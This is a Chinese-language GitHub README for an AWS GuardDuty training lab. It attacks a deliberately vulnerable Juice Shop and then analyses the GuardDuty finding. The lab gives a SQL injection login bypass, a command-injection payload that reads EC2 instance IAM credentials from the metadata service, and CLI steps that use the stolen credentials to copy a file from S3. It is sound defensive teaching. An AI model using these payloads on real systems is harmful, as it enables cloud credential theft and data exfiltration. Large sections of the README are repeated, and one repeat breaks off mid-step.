SOIGWA/AWS-GuardDuty-Threat-Detection-Lab
GitHub: SOIGWA/AWS-GuardDuty-Threat-Detection-Lab
一个基于 AWS GuardDuty 的云安全动手实验项目,通过模拟真实攻击链路来教学威胁检测与防御分析。
Stars: 0 | Forks: 0
# AWS-GuardDuty-Threat-Detection-Lab
# 使用 Amazon GuardDuty 进行威胁检测
1. [概述](#overview)
2. [案例场景](#case-scenario)
3. [架构与关键服务](#architecture--key-services)
4. [实验目标](#lab-objectives)
5. [前置条件](#prerequisites)
6. [实验指南](#lab-walkthrough)
- [步骤 1 – 部署 Web 应用](#step-1--deploy-the-web-app)
- [步骤 2 – 通过 SQL 注入登录 Web 应用](#step-2--log-into-the-web-app-via-sql-injection)
- [步骤 3 – 通过命令注入窃取 AWS 凭据](#step-3--steal-aws-credentials-via-command-injection)
- [步骤 4 – 使用窃取的凭据窃取数据](#step-4--exfiltrate-data-using-stolen-credentials)
- [步骤 5 – 使用 GuardDuty 检测攻击](#step-5--detect-the-attack-with-guardduty)
7. [清理](#cleanup)
8. [关键概念](#key-concepts)
9. [总结](#summary)
## 概述
本项目通过一个故意设计为存在漏洞的 Web 应用程序和用于威胁检测的 AWS GuardDuty,探讨了一次网络攻击的两个方面 —— **攻击者**和**防御者**。本实验演示了现实世界中的 Web 漏洞(如 SQL 注入和命令注入)是如何被利用来窃取 AWS 凭据和外泄敏感数据的,以及 GuardDuty 基于机器学习的监控是如何检测并报告这些威胁的。
本项目与**安全分析师**、**渗透测试工程师**和**云安全工程师**等角色最为相关。
## 案例场景
一个存在漏洞的 Web 应用程序(OWASP Juice Shop)已经部署在 AWS 基础设施上。目标是:
1. **作为攻击者** —— 利用 Web 漏洞窃取 AWS 凭据,并访问存储在 S3 存储桶中的敏感数据。
2. **作为防御者** —— 使用 Amazon GuardDuty 检测、分析并理解刚刚执行的攻击。
## 架构与关键服务
| 服务 | 在本实验中的角色 |
|---------|-----------------|
| **AWS CloudFormation** | 自动化部署构成 Web 应用程序的全部 27 个资源 |
| **Amazon EC2** | 托管并运行 OWASP Juice Shop Web 应用程序 |
| **Amazon CloudFront** | 通过公共 URL 分发 Web 应用程序 |
| **Amazon S3** | 存储模拟的敏感数据文件(`secret-information.txt`) |
| **Amazon GuardDuty** | 监控并检测 AWS 环境中的可疑活动 |
| **AWS CloudShell** | 用于模拟攻击者使用窃取的凭据运行命令 |
| **OWASP Juice Shop** | 一个故意设计为存在漏洞的 Web 应用程序,用作攻击目标 |
### 基础设施图
```
Internet
│
▼
CloudFront Distribution (Public URL)
│
▼
Elastic Load Balancer
│
▼
Auto Scaling Group
│
▼
EC2 Instance (OWASP Juice Shop) ──────► S3 Bucket (secret-information.txt)
│ ▲
│ │
└── IAM Role / Credentials ─────► CloudShell (stolen profile)
│
GuardDuty Monitoring
```
## 实验目标
- [x] 使用 CloudFormation 模板部署存在漏洞的 Web 应用程序
- [x] 利用 SQL 注入漏洞绕过管理员登录
- [x] 使用命令注入窃取 EC2 实例 IAM 凭据
- [x] 使用窃取的凭据配置 AWS CLI 以访问 S3 存储桶
- [x] 从 S3 存储桶中外泄敏感文件
- [x] 分析检测到该攻击的 GuardDuty 调查结果
- [x] *(秘密任务)* 启用 S3 恶意软件保护并使用 EICAR 文件进行测试
## 前置条件
- 一个 AWS 账户(IAM 管理员用户访问权限)
- 对 AWS 管理控制台有基本了解
- 一个 Web 浏览器
- 无需具备任何先前的安全经验 —— 所有攻击技术都会逐步进行解释
## 实验指南
### 步骤 1 – 部署 Web 应用
Web 应用程序使用预构建的 CloudFormation 模板进行部署,该模板会自动配置 **27 个资源**,包括网络、计算、存储和安全监控。
#### 部署堆栈
1. 以您的 **IAM 管理员用户**身份登录 AWS 管理控制台
2. 导航到 **CloudFormation** 控制台
3. 启动提供的 CloudFormation 模板
4. 在最终的审核页面上,确认:
- 前置条件下显示“Template is ready”
- 存在模板 URL
- 参数下列出了 5 个项目
- **Stack failure options** 下的两个选项均已激活
5. 部署堆栈并等待最多 **10 分钟**直到状态变为 `CREATE_COMPLETE`
#### 模板部署的内容
这 27 个资源分为三类:
** Web 应用基础设施**
- 运行 OWASP Juice Shop 应用程序的 EC2 实例
- 包含子网、安全组、Internet 网关和路由表的新 VPC
- Elastic Load Balancer 和 Auto Scaling Group
- 提供公共 URL 的 CloudFront 分发
** S3 存储桶**
- 包含 `secret-information.txt`(模拟敏感公司数据)的存储桶
- 该 EC2 实例具有对此存储桶的 IAM 访问权限
** GuardDuty**
- 自动启用以进行整个环境的威胁监控
### 第 2 步 – 通过 SQL Injection 登录 Web App
部署好堆栈后,打开 Web 应用并进入 😈 **黑客模式** 😈。
#### 打开 Web 应用
1. 在 CloudFormation 控制台中,转到您堆栈的 **Outputs** 选项卡
2. 找到 `JuiceShopURL` 值
3. 右键单击并在新选项卡中打开它
4. 选择 **Dismiss** 关闭弹窗
5. 您应该会看到 OWASP Juice Shop 的店面
#### 使用 SQL 注入绕过登录
导航到 Web 应用程序的**登录页面**,并在**邮箱字段**中输入以下内容:
```
' or 1=1;--
```
在密码字段中输入任意值并提交。
会出现一个绿色的成功横幅:
```
You successfully solved a challenge: Login Admin
(Log in with the administrator's user account.)
```
### 步骤 3 – 通过命令注入窃取 AWS 凭据
仍处于 **黑客模式** —— 下一步是从 Web 服务器本身窃取 AWS 凭据。
#### 通过命令注入运行恶意代码
1. 单击右上角的 **Account** 图标
2. 单击您的 `admin@juice-sh.op` 邮箱,转到个人资料页面
3. 在 **Username 字段**中,粘贴以下命令注入 payload:
```
#{global.process.mainModule.require('child_process').exec('CREDURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/;TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && CRED=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s $CREDURL | echo $CREDURL$(cat) | xargs -n1 curl -H "X-aws-ec2-metadata-token: $TOKEN") && echo $CRED | json_pp >frontend/dist/frontend/assets/public/credentials.json')}
```
4. 提交表单
用户名字段现在应显示 **`[object Object]`** —— 这确认了服务器已创建 JavaScript 对象(即 `credentials.json` 文件)。
#### 访问窃取的凭据
在浏览器中导航到以下路径(附加在您的 JuiceShopURL 之后):
```
/assets/public/credentials.json
```
您将看到 JSON 格式的被窃取的 IAM 凭据:
```
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "..."
}
```
### 步骤 4 – 使用窃取的凭据窃取数据
拿到窃取的凭据后,转到 **AWS CloudShell** 模拟攻击者从外部账户访问受害者的 AWS 环境。
#### 设置环境变量
打开 **AWS CloudShell** 并设置以下环境变量:
```
# 设置 Juice Shop URL
JUICESHOPURL=
# 设置 S3 bucket 名称
JUICESHOPS3BUCKET=
```
#### 下载并显示窃取的凭据
```
# 从 web app 下载凭证
wget $JUICESHOPURL/assets/public/credentials.json
# 显示凭证
cat credentials.json | jq .
```
#### 使用窃取的凭据配置 AWS CLI
使用下载的凭据创建一个名为 `stolen` 的新 AWS CLI 配置文件:
```
aws configure set profile.stolen.region us-west-2
aws configure set profile.stolen.aws_access_key_id `cat credentials.json | jq -r '.AccessKeyId'`
aws configure set profile.stolen.aws_secret_access_key `cat credentials.json | jq -r '.SecretAccessKey'`
aws configure set profile.stolen.aws_session_token `cat credentials.json | jq -r '.Token'`
```
#### 从 S3 复制机密文件
使用窃取的配置文件,从 S3 存储桶中复制敏感文件:
```
aws s3 cp s3://$JUICESHOPS3BUCKET/secret-information.txt . --profile stolen
```
#### 读取被窃取的文件
```
cat secret-information.txt
```
预期输出:
```
Dang it - if you can see this text, you're accessing our private information!
```
#### 攻击总结
此时,完整的攻击链已完成:
| 步骤 | 操作 |
|------|--------|
| 1 | 访问了 Juice Shop Web 应用程序 |
| 2 | 使用 **SQL 注入**绕过管理员登录 |
| 3 | 使用 **命令注入**让 EC2 服务器创建凭据文件 |
| 4 | 从公共 Web 应用程序 URL 检索凭据文件 |
| 5 | 在 CloudShell 中下载并保存凭据 |
| 6 | 使用窃取的凭据创建了 AWS CLI 配置文件 |
| 7 | 使用窃取的配置文件访问受害者的 S3 存储桶 |
| 8 | 外泄了敏感文件 —— **数据泄露完成** |
### 步骤 5 – 使用 GuardDuty 检测攻击
👋 **告别黑客模式。** 回到 Web 应用程序主机的角色,检查 GuardDuty 是否检测到了攻击。
#### 检查 GuardDuty 调查结果
1. 导航到 **Amazon GuardDuty** 控制台
2. 转到 **Findings**
3. 验证是否存在**至少 1 个调查结果**
#### 分析调查结果
单击该调查结果以阅读其完整详细信息。触发的调查结果是:
```
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS
```
详细分析如下:
| 组件 | 含义 |
|-----------|---------|
| `UnauthorizedAccess` | 有人执行了他们未被授权的操作 |
| `IAMUser/InstanceCredentialExfiltration` | 分配给 EC2 实例的 IAM 凭据被窃取并在外部使用 |
| `InsideAWS` | 未经授权的访问源自 AWS 内部 —— 但来自一个**不同**的 AWS 账户 |
#### 调查结果揭示的内容
滚动浏览调查结果详情会暴露以下信息:
- **受影响的资源** —— Juice Shop EC2 实例使用的 IAM 角色
- **操作** —— 一个 S3 `GetObject` 调用(检索了敏感文件)
- **行为者** —— 一个不同的 AWS 账户 ID(您的 CloudShell 会话)
- **位置和 IP** —— 运行 CloudShell 的 AWS 区域
## 清理
### 删除 CloudFormation 堆栈
1. 转到 **CloudFormation** 控制台
2. 选择以 `NextWork-GuardDuty-project-` 开头的堆栈
3. 单击 **Delete** -> 确认删除
4. 等待最多 10 分钟让堆栈完全删除
### 从 S3 删除 CloudFormation 模板
1. 转到 **S3** 控制台
2. 找到以 `cf-templates-` 开头的存储桶
3. 选择所有对象 -> **Delete** -> 输入 `permanently delete` -> 确认
4. 删除存储桶本身
### 清理 CloudShell
```
# 从 CloudShell 中删除敏感文件
rm secret-information.txt
rm credentials.json
rm EICAR-test-file.txt
# 验证所有文件是否已删除
ls
```
### 清理本地下载内容
如果存在,请从本地计算机的“下载”文件夹中删除以下内容:
- CloudFormation 模板文件
- `EICAR-test-file.txt`
## 关键概念
### SQL 注入
SQL 注入将恶意 SQL 代码插入到数据库查询中。Payload `' or 1=1;--` 会强制查询始终返回 `true`,从而完全绕过身份验证检查。当应用程序在将用户输入传递给数据库之前未对其进行清理或验证时,就会存在此漏洞。
### 命令注入
命令注入诱使 Web 服务器执行攻击者提供的命令。在本实验中,JavaScript 代码被注入到用户名字段中。因为应用程序未能清理输入,服务器执行了该代码 —— 从 EC2 元数据服务中获取了自己的 IAM 凭据,并将它们写入到一个可公开访问的文件中。
### EC2 实例元数据服务 (IMDS)
位于 `http://169.254.169.254` 的 EC2 实例元数据服务向 EC2 实例提供有关其自身的信息,包括其 IAM 凭据。它只能从实例内部访问 —— 但是命令注入诱使实例代表攻击者对其进行查询。
### 凭据外泄
凭据外泄是指未经授权获取身份验证凭据。在本实验中,EC2 实例的 IAM 凭据被盗并从不同的 AWS 账户中使用 —— 这是一个经典的凭据外泄场景,也是 GuardDuty 专门设计用于检测的场景。
### Amazon GuardDuty
GuardDuty 是一项托管的威胁检测服务,它使用机器学习持续监控 AWS 账户活动 —— 包括 CloudTrail 日志、VPC Flow Logs 和 DNS 日志。它可以检测异常情况,例如异常的 API 调用、意外的地理位置访问和凭据滥用,并将它们作为可操作的调查结果显示出来。
### GuardDuty 调查结果:`InstanceCredentialExfiltration.InsideAWS`
| 字段 | 值 |
|-------|-------|
| **严重性** | 高 |
| **触发器** | EC2 实例凭据被 AWS 账户使用 |
| **检测方法** | 异常检测 —— 比较当前凭据使用情况与典型使用情况 |
| **响应** | 调查、轮换凭据、审查 IAM 策略 |
## 总结
| 步骤 | 角色 | 操作 |
|------|------|--------|
| 部署 Web 应用 | 防御者 | 启动了包含 27 个资源的 CloudFormation 堆栈 |
| SQL 注入 | 攻击者 | 使用 `' or 1=1;--` 绕过了管理员登录 |
| 命令注入 | 攻击者 | 通过注入的 JavaScript 窃取了 EC2 IAM 凭据 |
| 凭据外泄 | 攻击者 | 使用窃取的凭据访问 S3 并读取敏感数据 |
| GuardDuty 检测 | 防御者 | 分析了 `InstanceCredentialExfiltration.InsideAWS` 调查结果 |
| 恶意软件保护 | 防御者 | 启用了 S3 恶意软件扫描并使用 EICAR 文件进行了测试 |
## 使用的 AWS 服务
- **Amazon GuardDuty** —— 威胁检测和安全监控
- **Amazon CloudFront** —— 内容分发和 Web 应用程序分发
- **Amazon S3** —— 用于模拟敏感数据的对象存储
- **AWS CloudFormation** —— 用于自动化部署的基础设施即代码
- **AWS CloudShell** —— 基于浏览器的 CLI,用于运行攻击者命令
- **Amazon EC2** —— 托管 OWASP Juice Shop 的 Web 服务器
- **AWS IAM** —— 身份和访问管理
*本实验是 NextWork AWS 安全项目系列的一部分。*
### 第 2 步 – 通过 SQL Injection 登录 Web App
部署好堆栈后,打开 Web 应用并进入 😈 **黑客模式** 😈。
#### 打开 Web 应用
1. 在 CloudFormation 控制台中,转到您堆栈的 **Outputs** 选项卡
2. 找到 `JuiceShopURL` 值
3. 右键单击并在新选项卡中打开它
4. 选择 **Dismiss** 关闭弹窗
5. 您应该会看到 OWASP Juice Shop 的店面
#### 使用 SQL 注入绕过登录
导航到 Web 应用程序的**登录页面**,并在**邮箱字段**中输入以下内容:
```
' or 1=1;--
```
在密码字段中输入任意值并提交。
会出现一个绿色的成功横幅:
```
You successfully solved a challenge: Login Admin
(Log in with the administrator's user account.)
```
### 步骤 3 – 通过命令注入窃取 AWS 凭据
仍处于 **黑客模式** —— 下一步是从 Web 服务器本身窃取 AWS 凭据。
#### 通过命令注入运行恶意代码
1. 单击右上角的 **Account** 图标
2. 单击您的 `admin@juice-sh.op` 邮箱,转到个人资料页面
3. 在 **Username 字段**中,粘贴以下命令注入 payload:
```
#{global.process.mainModule.require('child_process').exec('CREDURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/;TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && CRED=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s $CREDURL | echo $CREDURL$(cat) | xargs -n1 curl -H "X-aws-ec2-metadata-token: $TOKEN") && echo $CRED | json_pp >frontend/dist/frontend/assets/public/credentials.json')}
```
4. 提交表单
用户名字段现在应显示 **`[object Object]`** —— 这确认了服务器已创建 JavaScript 对象(即 `credentials.json` 文件)。
#### 访问窃取的凭据
在浏览器中导航到以下路径(附加在您的 JuiceShopURL 之后):
```
/assets/public/credentials.json
```
您将看到 JSON 格式的被窃取的 IAM 凭据:
```
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "..."
}
```
### 步骤 4 – 使用窃取的凭据窃取数据
拿到窃取的凭据后,转到 **AWS CloudShell** 模拟攻击者从外部账户访问受害者的 AWS 环境。
#### 设置环境变量
打开 **AWS CloudShell** 并设置以下环境变量:
```
# 设置 Juice Shop URL
JUICESHOPURL=
#### 攻击总结
此时,完整的攻击链已完成:
| 步骤 | 操作 |
|------|--------|
| 1 | 访问了 Juice Shop Web 应用程序 |
| 2 | 使用 **SQL 注入**绕过管理员登录 |
| 3 | 使用 **命令注入**让 EC2 服务器创建凭据文件 |
| 4 | 从公共 Web 应用程序 URL 检索凭据文件 |
| 5 | 在 CloudShell 中下载并保存凭据 |
| 6 | 使用窃取的凭据创建了 AWS CLI 配置文件 |
| 7 | 使用窃取的配置文件访问受害者的 S3 存储桶 |
| 8 | 外泄了敏感文件 —— **数据泄露完成** |
### 步骤 5 – 使用 GuardDuty 检测攻击
👋 **告别黑客模式。** 回到 Web 应用程序主机的角色,检查 GuardDuty 是否检测到了攻击。
#### 检查 GuardDuty 调查结果
1. 导航到 **Amazon GuardDuty** 控制台
2. 转到 **Findings**
3. 验证是否存在**至少 1 个调查结果**
#### 分析调查结果
单击该调查结果以阅读其完整详细信息。触发的调查结果是:
```
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS
```
详细分析如下:
| 组件 | 含义 |
|-----------|---------|
| `UnauthorizedAccess` | 有人执行了他们未被授权的操作 |
| `IAMUser/InstanceCredentialExfiltration` | 分配给 EC2 实例的 IAM 凭据被窃取并在外部使用 |
| `InsideAWS` | 未经授权的访问源自 AWS 内部 —— 但来自一个**不同**的 AWS 账户 |
#### 调查结果揭示的内容
滚动浏览调查结果详情会暴露以下信息:
- **受影响的资源** —— Juice Shop EC2 实例使用的 IAM 角色
- **操作** —— 一个 S3 `GetObject` 调用(检索了敏感文件)
- **行为者** —— 一个不同的 AWS 账户 ID(您的 CloudShell 会话)
- **位置和 IP** —— 运行 CloudShell 的 AWS 区域
## 清理
### 删除 CloudFormation 堆栈
1. 转到 **CloudFormation** 控制台
2. 选择以 `NextWork-GuardDuty-project-` 开头的堆栈
3. 单击 **Delete** -> 确认删除
4. 等待最多 10 分钟让堆栈完全删除
### 从 S3 删除 CloudFormation 模板
1. 转到 **S3** 控制台
2. 找到以 `cf-templates-` 开头的存储桶
3. 选择所有对象 -> **Delete** -> 输入 `permanently delete` -> 确认
4. 删除存储桶本身
### 清理 CloudShell
```
# 从 CloudShell 中删除敏感文件
rm secret-information.txt
rm credentials.json
rm EICAR-test-file.txt
# 验证所有文件是否已删除
ls
```
### 清理本地下载内容
如果存在,请从本地计算机的“下载”文件夹中删除以下内容:
- CloudFormation 模板文件
- `EICAR-test-file.txt`
## 关键概念
### SQL 注入
SQL 注入将恶意 SQL 代码插入到数据库查询中。Payload `' or 1=1;--` 会强制查询始终返回 `true`,从而完全绕过身份验证检查。当应用程序在将用户输入传递给数据库之前未对其进行清理或验证时,就会存在此漏洞。
### 命令注入
命令注入诱使 Web 服务器执行攻击者提供的命令。在本实验中,JavaScript 代码被注入到用户名字段中。因为应用程序未能清理输入,服务器执行了该代码 —— 从 EC2 元数据服务中获取了自己的 IAM 凭据,并将它们写入到一个可公开访问的文件中。
### EC2 实例元数据服务 (IMDS)
位于 `http://169.254.169.254` 的 EC2 实例元数据服务向 EC2 实例提供有关其自身的信息,包括其 IAM 凭据。它只能从实例内部访问 —— 但是命令注入诱使实例代表攻击者对其进行查询。
### 凭据外泄
凭据外泄是指未经授权获取身份验证凭据。在本实验中,EC2 实例的 IAM 凭据被盗并从不同的 AWS 账户中使用 —— 这是一个经典的凭据外泄场景,也是 GuardDuty 专门设计用于检测的场景。
### Amazon GuardDuty
GuardDuty 是一项托管的威胁检测服务,它使用机器学习持续监控 AWS 账户活动 —— 包括 CloudTrail 日志、VPC Flow Logs 和 DNS 日志。它可以检测异常情况,例如异常的 API 调用、意外的地理位置访问和凭据滥用,并将它们作为可操作的调查结果显示出来。
### GuardDuty 调查结果:`InstanceCredentialExfiltration.InsideAWS`
| 字段 | 值 |
|-------|-------|
| **严重性** | 高 |
| **触发器** | EC2 实例凭据被 AWS 账户使用 |
| **检测方法** | 异常检测 —— 比较当前凭据使用情况与典型使用情况 |
| **响应** | 调查、轮换凭据、审查 IAM 策略 |
## 总结
| 步骤 | 角色 | 操作 |
|------|------|--------|
| 部署 Web 应用 | 防御者 | 启动了包含 27 个资源的 CloudFormation 堆栈 |
| SQL 注入 | 攻击者 | 使用 `' or 1=1;--` 绕过了管理员登录 |
| 命令注入 | 攻击者 | 通过注入的 JavaScript 窃取了 EC2 IAM 凭据 |
| 凭据外泄 | 攻击者 | 使用窃取的凭据访问 S3 并读取敏感数据 |
| GuardDuty 检测 | 防御者 | 分析了 `InstanceCredentialExfiltration.InsideAWS` 调查结果 |
| 恶意软件保护 | 防御者 | 启用了 S3 恶意软件扫描并使用 EICAR 文件进行了测试 |
## 使用的 AWS 服务
- **Amazon GuardDuty** —— 威胁检测和安全监控
- **Amazon CloudFront** —— 内容分发和 Web 应用程序分发
- **Amazon S3** —— 用于模拟敏感数据的对象存储
- **AWS CloudFormation** —— 用于自动化部署的基础设施即代码
- **AWS CloudShell** —— 基于浏览器的 CLI,用于运行攻击者命令
- **Amazon EC2** —— 托管 OWASP Juice Shop 的 Web 服务器
- **AWS IAM** —— 身份和访问管理
*本实验是 NextWork AWS 安全项目系列的一部分。*标签:AMSI绕过, AWS GuardDuty, CISA项目, OPA, 威胁检测, 靶场